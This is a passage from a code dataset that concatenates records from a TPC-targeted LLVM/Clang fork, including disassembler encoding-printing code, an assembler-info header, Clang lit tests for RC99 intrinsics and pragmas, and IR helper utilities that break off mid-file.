cl::ValueOptional, cl::init(\"-\"));\n\ncl::opt<bool> llvm::TPCLeadingAddr(\"tpc-leading-addr\",\n cl::desc(\"Print leading address\"));\n\ncl::opt<bool> llvm::TPCEncodingInfo(\n \"tpc-encoding-info\",\n cl::desc(\"Displays the encoding info for instructions.\"));\n\ncl::opt<bool> llvm::IgnoreMovDT(\n \"ignore-mov-dt\",\n cl::desc(\"Do not print fields reflecting data type for MOV instructions.\"),\n cl::Hidden);\n\ncl::opt<bool> llvm::NoCommonHeader(\n \"no-common-header\",\n cl::desc(\"Not to print the common header for assembler text.\"));\n\nenum TPCArch {\n Goya = 1,\n Gaudi = 2\n};\n\nstatic TPCArch TpcArch = Goya;\n\nstatic TPCArch MCPUToTPCArch() {\n if (MCPU.compare(\"dali\") == 0 || MCPU.compare(\"goya\") == 0)\n return Goya;\n else if (MCPU.compare(\"gaudi\") == 0)\n return Gaudi;\n else\n reportError(\"\", \"'\" + MCPU + \"' is not a recognized processor for this target\");\n}\n\nbool isDali() { return TpcArch == Goya; }\n\nbool isGaudi() { return TpcArch == Gaudi; }\n\nbool skipTpcOperandsType(const std::vector<Encoding> *enc,\n std::string bins, size_t instr_size) {\n int8_t src = SRCA_IND;\n int8_t dst = DEST_IND;\n\n uint8_t start_bit = instr_size - (*enc)[src].start_bit - (*enc)[src].field_size;\n unsigned long long value = std::stoull(bins.substr(start_bit, (*enc)[src].field_size), 0, 2);\n if (value <= 44 || (value >= 240 && value <= 255)) {\n // Source is VRF or VPRF. Look at the destination as well.\n start_bit = instr_size - (*enc)[dst].start_bit - (*enc)[dst].field_size;\n value = std::stoull(bins.substr(start_bit, (*enc)[dst].field_size), 0, 2);\n if (value <= 44 || (value >= 240 && value <= 255)) {\n // Destination is VRF or VPRF too.\n return true;\n }\n }\n\n return false;\n}\n\nbool IsMovFlavorSet(const std::vector<Encoding> *enc, std::string bins, size_t instr_size) {\n int8_t src = SRCA_IND;\n int8_t dst = DEST_IND;\n uint8_t start_bit = instr_size - (*enc)[src].start_bit - (*enc)[src].field_size;\n unsigned long long value = std::stoull(bins.substr(start_bit, (*enc)[src].field_size), 0, 2);\n if ((value >= 64 && value <= 99) || (value >= 111 && value <= 127)) {\n // Source is SRF or IMM. Look at the destination as well.\n start_bit = instr_size - (*enc)[dst].start_bit - (*enc)[dst].field_size;\n value = std::stoull(bins.substr(start_bit, (*enc)[dst].field_size), 0, 2);\n if (value >= 240 && value <= 255) {\n // Destination is VPRF.\n return true;\n }\n }\n\n return false;\n}\n\nstatic void printSectionCompressStatus(const SectionRef &Section, const ObjectFile *Obj,\n raw_fd_ostream &OS) {\n StringRef Contents = unwrapOrError(Section.getContents(), Obj->getFileName());\n\n uint64_t BaseAddr = Section.getAddress();\n int instrNum = 0;\n for (std::size_t addr = 0, end = Contents.size(); addr < end; addr += 32) {\n instrNum++;\n if (TPCLeadingAddr) {\n OS << format(\" %04\" PRIx64 \": \", BaseAddr + addr);\n }\n unsigned firstByte = hexDigitValue(hexdigit(Contents[addr] & 0xF));\n bool compressed = (firstByte & 1);\n OS << (compressed ? '1' : '0');\n OS << \"\\n\";\n }\n}\n\nvoid llvm::printTpcEncodingInfo(ArrayRef<uint8_t> instruction) {\n const std::vector<Encoding> *enc = &dali_encoding;\n if (isDali())\n enc = &dali_encoding;\n else if (isGaudi())\n enc = &gaudi_encoding;\n\n std::string binaries;\n for (size_t i = 0; i < instruction.size(); i++) {\n std::bitset<8> bs(instruction[i]);\n binaries.insert(0, bs.to_string());\n }\n\n uint8_t start_bit;\n size_t instr_size = instruction.size() << 3;\n unsigned long long spu_opcode = 0xFF;\n unsigned long long vpu_opcode = 0xFF;\n unsigned long long ld_opcode = 0xFF;\n int8_t spu_opcode_ind = -1;\n int8_t vpu_opcode_ind = -1;\n int8_t ld_opcode_ind = -1;\n if (isDali() || isGaudi()) {\n spu_opcode_ind = SPU_OPCODE_IND;\n vpu_opcode_ind = VPU_OPCODE_IND;\n ld_opcode_ind = LD_OPCODE_IND;\n } else\n assert(false && \"Unknown arch for printing encoding info\");\n\n if (spu_opcode_ind != -1) {\n start_bit = instr_size - (*enc)[spu_opcode_ind].start_bit - (*enc)[spu_opcode_ind].field_size;\n spu_opcode = std::stoull(binaries.substr(start_bit, (*enc)[spu_opcode_ind].field_size), 0, 2);\n }\n\n if (vpu_opcode_ind != -1) {\n start_bit = instr_size - (*enc)[vpu_opcode_ind].start_bit - (*enc)[vpu_opcode_ind].field_size;\n vpu_opcode = std::stoull(binaries.substr(start_bit, (*enc)[vpu_opcode_ind].field_size), 0, 2);\n }\n\n if (ld_opcode_ind != -1) {\n start_bit = instr_size - (*enc)[ld_opcode_ind].start_bit - (*enc)[ld_opcode_ind].field_size;\n ld_opcode = std::stoull(binaries.substr(start_bit, (*enc)[ld_opcode_ind].field_size), 0, 2);\n }\n\n if (spu_opcode == LOOP_OPCODE) { //// for LOOP instruction a special encoding has to be used.\n enc = &loop_encoding;\n }\n\n bool ignoreMovDT = IgnoreMovDT && (ld_opcode == MOV_OPCODE_LD_SLOT || vpu_opcode == MOV_OPCODE_VPU_SLOT) && skipTpcOperandsType(enc, binaries, instr_size);\n outs() << \"\\t// \";\n uint8_t num = (*enc).size();\n for (const Encoding rule : *enc) {\n std::string fn = rule.field_name;\n start_bit = instr_size - rule.start_bit - rule.field_size;\n unsigned long long value = std::stoull(binaries.substr(start_bit, rule.field_size), 0, 2);\n if (ignoreMovDT) {\n if (vpu_opcode == MOV_OPCODE_VPU_SLOT && fn == \"VPU_OPERANDS_TYPE\")\n value = 0;\n if (ld_opcode == MOV_OPCODE_LD_SLOT && (fn == \"VPU_SRC_D_LD_SRC_B\" || fn == \"LOAD_SRC_B\"))\n value = ((value >> 8) << 8) || (value & 0xf);\n }\n\n if (vpu_opcode == MOV_OPCODE_VPU_SLOT && fn == \"VPU_SRC_B\" && !IsMovFlavorSet(enc, binaries, instr_size))\n value = 0;\n\n if (ld_opcode == MOV_OPCODE_LD_SLOT && fn == \"VPU_SRC_D_LD_SRC_B\" && !IsMovFlavorSet(enc, binaries, instr_size))\n value = 0;\n\n if (--num == 0)\n outs() << fn << \"=\" << value << \"\\n\";\n else\n outs() << fn << \"=\" << value << \",\";\n }\n}\n\nstatic void printSectionEncodingInfo(const StringRef &Contents) {\n ArrayRef<uint8_t> Bytes(reinterpret_cast<const uint8_t *>(Contents.data()),\n Contents.size());\n for (std::size_t addr = 0, end = Bytes.size() - 31; addr < end; addr += 32) {\n printTpcEncodingInfo(Bytes.slice(addr, 32));\n }\n}\n\nvoid llvm::printTpcCompressStatus(const ObjectFile *Obj) {\n assert(Obj != nullptr);\n std::error_code EC;\n\n llvm::raw_fd_ostream OS(TPCCompressStatusFile, EC,\n llvm::sys::fs::F_Text);\n if (EC) {\n reportError(TPCCompressStatusFile, \"Can't open output file\");\n return;\n }\n\n for (const SectionRef &Section : ToolSectionFilter(*Obj)){\n if (!Section.getSize())\n continue;\n if (!Section.isText())\n continue;\n printSectionCompressStatus(Section, Obj, OS);\n }\n}\n\nvoid llvm::printTpcEncodingInfo(const ObjectFile *Obj) {\n assert(Obj != nullptr);\n for (const SectionRef &Section : ToolSectionFilter(*Obj)) {\n if (!Section.isText())\n continue;\n if (!Section.getSize())\n continue;\n printSectionEncodingInfo(unwrapOrError(Section.getContents(), Obj->getFileName()));\n }\n}\n\nvoid llvm::collectSymbolsTpc(\n const ObjectFile *Obj, const MCDisassembler &DisAsm, MCContext &Context,\n std::vector<std::tuple<uint64_t, StringRef, uint8_t>> &Symbols) {\n\n assert(Obj != nullptr);\n for (SectionRef Section : Obj->sections()) {\n if (!Section.isText())\n continue;\n if (!Section.getSize())\n continue;\n\n uint64_t SectionSize = Section.getSize();\n uint64_t Start = Section.getAddress();\n uint64_t End = Start + SectionSize;\n uint64_t Size = 32;\n\n StringRef BytesStr = unwrapOrError(Section.getContents(), Obj->getFileName());\n ArrayRef<uint8_t> Bytes(reinterpret_cast<const uint8_t *>(BytesStr.data()),\n BytesStr.size());\n\n int iLoop=0, iJmp=0;\n for (uint64_t Index = Start; Index < End; Index += Size) {\n MCInst Inst;\n int64_t Offset = 0;\n bool isOK = DisAsm.getInstruction(Inst, Size, Bytes.slice(Index), (int64_t)&Offset, nulls());\n if (isOK && Offset) {\n char *sbuf = static_cast<char *>(Context.allocate(32));\n if (Inst.getOpcode() == 0x22) { //=TPCII::spuLOOP\n sprintf(sbuf,\".L_LOOP_%d\",++iLoop);\n Offset += Size; // Label for LOOP should be after the body\n } else {\n sprintf(sbuf,\".L_JMP_%d\",++iJmp);\n }\n uint64_t Address = Index + Offset;\n auto it = std::find_if(Symbols.begin(), Symbols.end(),\n [Address](const std::tuple<uint64_t,StringRef,uint8_t>& e) {\n return std::get<0>(e) == Address;\n });\n if (it == Symbols.end()) {\n Symbols.emplace_back(Address, sbuf, ELF::STT_NOTYPE);\n }\n }\n }\n }\n}\n\nenum class Slots : uint8_t { Load, Scalar, Vector, Store };\n\nvoid PrintTPCMetadata(const TPCMetadataSection &Header) {\n for (const TPCMetadataFieldInfo *Cur = std::begin(TPCMetadataFieldsInfo);\n Cur != std::end(TPCMetadataFieldsInfo); ++Cur) {\n if (StringRef(Cur->fieldName).equals(TPCBubbleName))\n continue;\n if (Cur->startWithVersion > Header.version)\n continue;\n\n if (!Cur->isArray()) {\n outs() << '\\t';\n outs() << Cur->fieldName;\n outs() << \": \";\n\n outs() << TPCMetadataTypeDirectives.at(Cur->elementSize);\n outs() << ' ';\n\n if (StringRef(Cur->fieldName).equals(TPCVersionName))\n outs() << Header.version;\n else if (StringRef(Cur->fieldName).equals(TPCSpecialFunctionUsedName))\n outs() << Header.specialFunctionUsed;\n else if (StringRef(Cur->fieldName).equals(TPCPrintfUsedName))\n outs() << Header.printfUsed;\n else if (StringRef(Cur->fieldName).equals(TPCLockUnLockName))\n outs() << Header.lockUnLock;\n else if (StringRef(Cur->fieldName).equals(TPCMarchName))\n outs() << std::to_string(Header.march);\n else if (StringRef(Cur->fieldName).equals(TPCMMIOName))\n outs() << std::to_string(Header.mmioUsed);\n else if (StringRef(Cur->fieldName).equals(TPCParamsNumName))\n outs() << std::to_string(Header.paramsNum);\n else if (StringRef(Cur->fieldName).equals(TPCPrintfTensorIDName))\n outs() << std::to_string(Header.printfTensorID);\n else\n llvm_unreachable(TPCUnhandledMetadataField);\n\n outs() << '\\n';\n } else {\n for (unsigned i = 0; i < Cur->length; ++i) {\n bool CurrentValue = false;\n if (StringRef(Cur->fieldName).equals(TPCScalarLdName))\n CurrentValue = Header.scalarLd[i];\n else if(StringRef(Cur->fieldName).equals(TPCRMWStoreName))\n CurrentValue = Header.rmwStore[i];\n else\n llvm_unreachable(TPCUnhandledMetadataField);\n\n if (CurrentValue) {\n outs() << '\\t';\n outs() << Cur->fieldName;\n outs() << '[';\n outs() << i;\n outs() << \"]: \";\n\n outs() << TPCMetadataTypeDirectives.at(Cur->elementSize);\n outs() << ' ';\n\n outs() << CurrentValue;\n\n outs() << '\\n';\n }\n }\n }\n }\n}\n\nstatic section_iterator findTpcMetadataSection(\n const ObjectFile *ObjectFile) {\n auto Iter = std::find_if(\n ObjectFile->section_begin(), ObjectFile->section_end(),\n [](const SectionRef& Section) {\n Expected<StringRef> SectionNameOrError = Section.getName();\n if (!SectionNameOrError)\n return false;\n else if (SectionNameOrError->equals(BinaryTPCMetadataSectionName))\n return true;\n else if (SectionNameOrError->equals(StringTPCMetadataSectionName))\n return true;\n else\n return false;\n }\n );\n\n return Iter;\n}\n\n\n\nvoid llvm::calculateMCPU(const ObjectFile *ObjFile) {\n section_iterator MetadataSection =\n findTpcMetadataSection(ObjFile);\n\n\n if (!MCPU.empty())\n TpcArch = MCPUToTPCArch();\n\n if (MetadataSection == ObjFile->section_end()) {\n reportWarning(formatv(\"No {0} section. Possibly this is not a TPC elf.\",\n BinaryTPCMetadataSectionName),\n ObjFile->getFileName());\n return;\n }\n\n Expected<StringRef> SectionNameOrError = MetadataSection->getName();\n if (!SectionNameOrError)\n consumeError(SectionNameOrError.takeError());\n\n TPCMetadataSection Metadata;\n if (SectionNameOrError->equals(BinaryTPCMetadataSectionName))\n Metadata = getMetadataFromBinarySection(*MetadataSection);\n else if (SectionNameOrError->equals(StringTPCMetadataSectionName))\n Metadata = getMetadataFromStringSection(*MetadataSection);\n else\n llvm_unreachable(\"Unknown TPC metadata section\");\n\n if (!MCPU.empty()) {\n if (TpcArch != Metadata.march)\n reportWarning(\"Specified '-mcpu' value contradicts architecture encoded in tpc_metadata section.\",\n MetadataSection->getObject()->getFileName());\n\n } else {\n switch (Metadata.march) {\n case 1:\n TpcArch = Goya;\n break;\n case 2:\n TpcArch = Gaudi;\n break;\n default:\n llvm_unreachable(\"Unhandled tpc arch\");\n }\n }\n}\n\nstd::string llvm::getCPUName() {\n switch (TpcArch) {\n case Goya:\n return \"goya\";\n case Gaudi:\n return \"gaudi\";\n default:\n llvm_unreachable(\"Unhandled CPU name\");\n }\n}\n\nTPCMetadataSection llvm::getMetadataFromStringSection(\n const SectionRef& Section) {\n Expected<StringRef> SectionContentOrError = Section.getContents();\n if (!SectionContentOrError)\n consumeError(SectionContentOrError.takeError());\n\n return stringDeserializeTPCProgramHeader(*SectionContentOrError);\n}\n\nTPCMetadataSection llvm::getMetadataFromBinarySection(\n const SectionRef& Section) {\n Expected<StringRef> SectionContentOrError = Section.getContents();\n if (!SectionContentOrError)\n consumeError(SectionContentOrError.takeError());\n\n std::vector<uint8_t> BinaryInfo;\n for(unsigned i = 0; i < SectionContentOrError->size(); ++i)\n BinaryInfo.push_back((uint8_t)(*SectionContentOrError)[i]);\n return binaryDeserializeTPCProgramHeader(BinaryInfo);\n}\n\nvoid llvm::printTPCMetadataFromString(const SectionRef& Section) {\n Expected<StringRef> SectionNameOrError = Section.getName();\n assert(SectionNameOrError &&\n SectionNameOrError->equals(StringTPCMetadataSectionName));\n\n TPCMetadataSection Header = getMetadataFromStringSection(Section);\n\n outs() << '\\n';\n outs() << formatv(\".section {0}\\n\", *SectionNameOrError);\n PrintTPCMetadata(Header);\n}\n\nvoid llvm::printTPCMetadataFromBinary(const SectionRef& Section) {\n Expected<StringRef> SectionNameOrError = Section.getName();\n assert(SectionNameOrError &&\n SectionNameOrError->equals(BinaryTPCMetadataSectionName));\n\n TPCMetadataSection Header = getMetadataFromBinarySection(Section);\n\n outs() << '\\n';\n outs() << formatv(\".section {0}\\n\", *SectionNameOrError);\n PrintTPCMetadata(Header);\n}\n\nvoid llvm::printIndexMap(const SectionRef &Section) {\n Expected<StringRef> SectionNameOrError = Section.getName();\n assert(SectionNameOrError &&\n SectionNameOrError->equals(\".IndexMap\"));\n\n Expected<StringRef> SectionContentOrError = Section.getContents();\n if (!SectionContentOrError)\n consumeError(SectionContentOrError.takeError());\n\n outs() << '\\n';\n outs() << formatv(\".section {0}\\n\", *SectionNameOrError);\n outs() << *SectionContentOrError;\n outs() << '\\n';\n}\n\nvoid llvm::printUnrollInfo(const SectionRef &Section) {\n Expected<StringRef> SectionNameOrError = Section.getName();\n assert(SectionNameOrError && SectionNameOrError->equals(\".UnrollInfo\"));\n\n Expected<StringRef> SectionContentOrError = Section.getContents();\n if (!SectionContentOrError)\n consumeError(SectionContentOrError.takeError());\n\n outs() << '\\n';\n outs() << formatv(\".section {0}\\n\", *SectionNameOrError);\n outs() << *SectionContentOrError;\n outs() << '\\n';\n}\n\nvoid llvm::printBailoutInfo(const SectionRef &Section) {\n Expected<StringRef> SectionNameOrError = Section.getName();\n assert(SectionNameOrError && SectionNameOrError->equals(\".BailoutGCCUSTOM\"));\n\n Expected<StringRef> SectionContentOrError = Section.getContents();\n if (!SectionContentOrError)\n consumeError(SectionContentOrError.takeError());\n\n outs() << '\\n';\n outs() << formatv(\".section {0}\\n\", *SectionNameOrError);\n outs() << *SectionContentOrError;\n outs() << '\\n';\n}\n\n#endif\n" }, { "alpha_fraction": 0.5695067048072815, "alphanum_fraction": 0.573991060256958, "avg_line_length": 26.875, "blob_id": "53c08b98a07dd2e9d79ffaffc96d71628e90edd5", "content_id": "9b27807c23d4e5db26b1aa392f9e876bdd43a1f5", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 892, "license_type": "permissive", "max_line_length": 80, "num_lines": 32, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCMCAsmInfo.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCMCAsmInfo.h - TPC Asm Info ------------------------*- C++ -*----===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file contains the declaration of the TPCMCAsmInfo class.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_MCTARGETDESC_TPCMCASMINFO_H\n#define LLVM_LIB_TARGET_TPC_MCTARGETDESC_TPCMCASMINFO_H\n\n#include \"llvm/MC/MCAsmInfoELF.h\"\n#include \"llvm/ADT/Triple.h\"\n\nnamespace llvm {\n\nclass Triple;\n\nclass TPCMCAsmInfo : public MCAsmInfoELF {\n void anchor() override;\n\npublic:\n explicit TPCMCAsmInfo(const Triple &TheTriple);\n};\n\n} // namespace llvm\n\n#endif\n" }, { "alpha_fraction": 0.5334448218345642, "alphanum_fraction": 0.6571906208992004, "avg_line_length": 48.83333206176758, "blob_id": "7827e32a0edf2cb1d54590b73aef0898b41764bd", "content_id": "6cfdfcb74ddc8cacd8cd46261e9b34d1e451110f", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 598, "license_type": "permissive", "max_line_length": 149, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_ushort128_to_bfloat128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n ushort128 *sptr = (ushort128 *)src;\n bfloat128 *dptr = (bfloat128 *)dest;\n ushort128 src_val = *sptr;\n *dptr++ = convert_ushort128_to_bfloat128(src_val, 0);\n *dptr = convert_ushort128_to_bfloat128(src_val, SW_RD);\n}\n\n// CHECK-IR: uitofp <128 x i16> {{.*}} to <128 x bfloat>\n// CHECK-IR: call <128 x bfloat> @llvm.tpc.convert.v128bf16.v128i16.i1(<128 x i16> {{.*}}, i8 8, i32 196864, <128 x bfloat> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.6070460677146912, "alphanum_fraction": 0.6233062148094177, "avg_line_length": 29.75, "blob_id": "e3c3b60aaf83210171456784fc2554391c32fa6b", "content_id": "787b5b545a2e2e0d9554f85360609a7e912ba343", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 369, "license_type": "permissive", "max_line_length": 102, "num_lines": 12, "path": "/clang/test/RC99/pragma/pragma-pipelined-03e.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -std=rc99 -triple tpc -verify %s\n\nvoid main(int dest, float value, int start, int end, int stride) {\n __local__ float* res=(__local float *)dest;\n\n #pragma loop_unroll(4) pipelined pipelined // expected-warning{{pragma option is already specified}}\n for (int x = start; x < end; x += stride) {\n *res = value;\n value += 2.0;\n ++res;\n }\n}\n" }, { "alpha_fraction": 0.5892474055290222, "alphanum_fraction": 0.5933859348297119, "avg_line_length": 36.173789978027344, "blob_id": "009568a7c70d53cfb8a023112a9e0c3c50c8b607", "content_id": "ed691e0ecc8203c8fb2b59c335c4afbbcaa5c896", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 26096, "license_type": "permissive", "max_line_length": 115, "num_lines": 702, "path": "/llvm/lib/Target/TPC/TPCTools.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCTools.cpp --- makes Global Variables Locals ---------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// TPC related support functions for manipulating IR.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCTools.h\"\n#include \"llvm/IR/GlobalVariable.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/Instructions.h\"\n#include \"llvm/IR/DerivedTypes.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/Operator.h\"\n#include \"llvm/IR/Value.h\"\n#include \"llvm/IR/ValueHandle.h\"\n#include \"llvm/Support/Casting.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/raw_ostream.h\"\n\n#include \"../lib/IR/ConstantsContext.h\"\n\nnamespace llvm {\n\nbool isTpcVectorType(const Type *Ty) {\n if (const auto *ST = dyn_cast<StructType>(Ty)) {\n for (const Type *ET : ST->elements()) {\n if (!isTpcVectorType(ET))\n return false;\n }\n return true;\n }\n if (const auto *AT = dyn_cast<ArrayType>(Ty)) {\n return isTpcVectorType(AT->getElementType());\n }\n if (const auto *VT = dyn_cast<VectorType>(Ty)) {\n const Type *ET = VT->getVectorElementType();\n unsigned Sz = VT->getVectorNumElements();\n if (ET->isFloatTy())\n return Sz == 64 || Sz == 128;\n if (ET->isBFloat16Ty())\n return Sz == 128 || Sz == 256;\n if (ET->isHalfTy())\n return Sz == 128 || Sz == 256;\n if (ET->isF8_152Ty() || ET->isF8_143Ty())\n return Sz == 256 || Sz == 512;\n if (const auto *IT = dyn_cast<IntegerType>(ET)) {\n if (IT->getBitWidth() == 32)\n return Sz == 64 || Sz == 128 || Sz == 256;\n if (IT->getBitWidth() == 16)\n return Sz == 128 || Sz == 256;\n if (IT->getBitWidth() == 8)\n return Sz == 256 || Sz == 512;\n if (IT->getBitWidth() == 1)\n return Sz == 256;\n }\n llvm_unreachable(\"Unsupported vector type\");\n }\n return false;\n}\n\n\nbool isVolatile(const Instruction *Inst) {\n if (auto *LI = dyn_cast<LoadInst>(Inst))\n return LI->isVolatile();\n else if (auto *SI = dyn_cast<StoreInst>(Inst))\n return SI->isVolatile();\n else if (auto *AI = dyn_cast<AtomicCmpXchgInst>(Inst))\n return AI->isVolatile();\n return false;\n}\n\n\n\nstatic bool hasVolatileAccess(const Instruction *Inst) {\n if (isVolatile(Inst))\n return true;\n if (auto *GEP = dyn_cast<GetElementPtrInst>(Inst))\n for (auto Usr : GEP->users())\n if (auto I = dyn_cast<Instruction>(Usr))\n if (hasVolatileAccess(I))\n return true;\n return false;\n}\n\nbool isVolatileVariable(const GlobalVariable &V) {\n for (auto U : V.users())\n if (auto *I = dyn_cast<Instruction>(U))\n if (hasVolatileAccess(I))\n return true;\n return false;\n}\n\n\n/// Checks if the global value pointer is used in some complex way.\n///\nbool isAddressTaken(const Value *V) {\n if (!V->getType()->isPointerTy())\n return false;\n\n for (const Use &U : V->uses()) {\n User *I = U.getUser();\n if (isa<LoadInst>(I)) {\n // It is OK to use pointer for loading.\n } else if (StoreInst *SI = dyn_cast<StoreInst>(I)) {\n if (V != SI->getOperand(1))\n return true; // Storing the pointer\n } else if (Operator::getOpcode(I) == Instruction::GetElementPtr) {\n if (isAddressTaken(I))\n return true;\n } else if (Operator::getOpcode(I) == Instruction::BitCast) {\n if (isAddressTaken(I))\n return true;\n } else if (ICmpInst *ICI = dyn_cast<ICmpInst>(I)) {\n if (!isa<ConstantPointerNull>(ICI->getOperand(1)))\n return true; // Allow comparison against null.\n } else if (Constant *C = dyn_cast<Constant>(I)) {\n // Ignore constants which don't have any live uses.\n if (isa<GlobalValue>(C) || C->isConstantUsed())\n return true;\n }\n }\n\n return false;\n}\n\n\nConstant *replaceInConstantExpr(Constant *E, Constant *Old, Constant *New,\n unsigned NewAddressSpace) {\n if (auto *GEP = dyn_cast<GetElementPtrConstantExpr>(E)) {\n assert(GEP->getOperand(0) == Old);\n PointerType *OT = cast<PointerType>(GEP->getType());\n SmallVector<Constant *, 8> Args;\n for (unsigned I = 1; I < GEP->getNumOperands(); ++I)\n Args.push_back(cast<Constant>(GEP->getOperand(I)));\n return ConstantExpr::getGetElementPtr(OT->getElementType(), New, Args);\n }\n\n if (auto *UCE = dyn_cast<UnaryConstantExpr>(E)) {\n assert(Instruction::isCast(UCE->getOpcode()));\n assert(UCE->getOperand(0) == Old);\n PointerType *OT = cast<PointerType>(UCE->getType());\n PointerType *NT = PointerType::get(OT->getElementType(), NewAddressSpace);\n return ConstantExpr::getCast(UCE->getOpcode(), New, NT);\n }\n\n llvm_unreachable(\"Unsupported constant expression\");\n}\n\n\nValue *replaceConstantByMutable(Constant *Usr, Constant *Old, Value *New,\n unsigned NewAddressSpace, IRBuilder<> &Builder) {\n // User value must have pointer type if it can change address space.\n PointerType *OT = cast<PointerType>(Usr->getType());\n assert(OT->getAddressSpace() != NewAddressSpace);\n PointerType *NT = PointerType::get(OT->getElementType(), NewAddressSpace);\n\n if (auto C = dyn_cast<GetElementPtrConstantExpr>(Usr)) {\n SmallVector<Value *, 8> IndexVals;\n for (unsigned I = 1; I < C->getNumOperands(); ++I) {\n Value *Arg = C->getOperand(I);\n if (Arg == Old)\n Arg = New;\n IndexVals.push_back(Arg);\n }\n Value *NewBase = (C->getOperand(0) == Old) ? New : C->getOperand(0);\n return Builder.CreateInBoundsGEP(C->getSourceElementType(), NewBase, IndexVals);\n }\n\n if (auto C = dyn_cast<UnaryConstantExpr>(Usr)) {\n assert(Usr->getOperand(0) == Old);\n switch (C->getOpcode()) {\n case Instruction::BitCast:\n return Builder.CreateBitCast(New, NT);\n default:\n llvm_unreachable(\"Unhandled unary constant expression\");\n }\n }\n\n llvm_unreachable(\"Unhandled constant\");\n}\n\nvoid rauwConvertingAddressSpace(Value *Old, Value *New, IRBuilder<> *Builder,\n SmallPtrSetImpl<Instruction *> *DeletedInstrs) {\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \"== Replacing: \" << *Old << \"\\n\");\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \"== With : \" << *New << \"\\n\");\n\n assert(Old != New);\n if (DeletedInstrs)\n if (auto *I = dyn_cast<Instruction>(Old))\n DeletedInstrs->insert(I);\n\n // Check if we make the replacement that changes address space of the value.\n bool AddressSpaceChanged = false;\n unsigned NewAddressSpace = 0;\n if (auto *OPT = dyn_cast<PointerType>(Old->getType())) {\n auto *NPT = cast<PointerType>(New->getType());\n NewAddressSpace = NPT->getAddressSpace();\n if (OPT->getAddressSpace() != NewAddressSpace)\n AddressSpaceChanged = true;\n }\n\n // If address space is not changed, use usual RAUW procedure.\n if (!AddressSpaceChanged) {\n Old->replaceAllUsesWith(New);\n return;\n }\n\n // Notify all ValueHandles (if present) that this value is going away.\n if (Old->hasValueHandle())\n ValueHandleBase::ValueIsRAUWd(Old, New);\n\n // Scan all uses of 'Old' and replace in them 'Old' for 'New'. This\n // replacement can cause replacement of the user and users of the user etc.\n // Changes may propargate recursively.\n while (!Old->use_empty()) {\n Use &U = *Old->use_begin();\n User *Usr = U.getUser();\n\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \"== Transform:\\n\");\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \" \" << *Usr << \"\\n\");\n\n // If a user itself has no uses, try eliminating it.\n if (Usr->getNumUses() == 0) {\n if (auto I = dyn_cast<Instruction>(Usr)) {\n if (!I->mayHaveSideEffects()) {\n U.set(nullptr);\n if (DeletedInstrs)\n DeletedInstrs->insert(I);\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \" Removed\\n\");\n continue;\n }\n } else {\n U.set(nullptr);\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \" Removed\\n\");\n continue;\n }\n }\n\n // Must handle 'Constant' specially, we cannot call replaceAllUsesWith on it\n // because constants are uniqued.\n if (auto *C = dyn_cast<Constant>(Usr)) {\n assert(isa<Constant>(Old) && \"Constant may use only constants\");\n if (auto *NewC = dyn_cast<Constant>(New)) {\n // Replace a constant by a constant.\n if (!isa<GlobalValue>(C)) {\n Constant *Replacement = replaceInConstantExpr(C, cast<Constant>(Old),\n NewC, NewAddressSpace);\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \"== Replaced (Constant with Constant):\\n\");\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \" \" << *Replacement << \"\\n\");\n rauwConvertingAddressSpace(Usr, Replacement, Builder, DeletedInstrs);\n continue;\n }\n } else {\n // Replace a constant by non-constant expression.\n assert(Builder && \"Must have IRBuilder to replace const with non-const\");\n Value *Replacement = replaceConstantByMutable(C, cast<Constant>(Old),\n New, NewAddressSpace, *Builder);\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \"== Replaced (Constant with non-const):\\n\");\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \" \" << *Replacement << \"\\n\");\n rauwConvertingAddressSpace(Usr, Replacement, Builder, DeletedInstrs);\n continue;\n }\n }\n\n U.set(New);\n // Skip instructions scheduled for removal.\n if (DeletedInstrs)\n if (auto *I = dyn_cast<Instruction>(Usr))\n if (DeletedInstrs->count(I))\n continue;\n\n // The user of replaced value may change its type due to the replacement. In\n // this case its users must be updated properly.\n if (auto GEP = 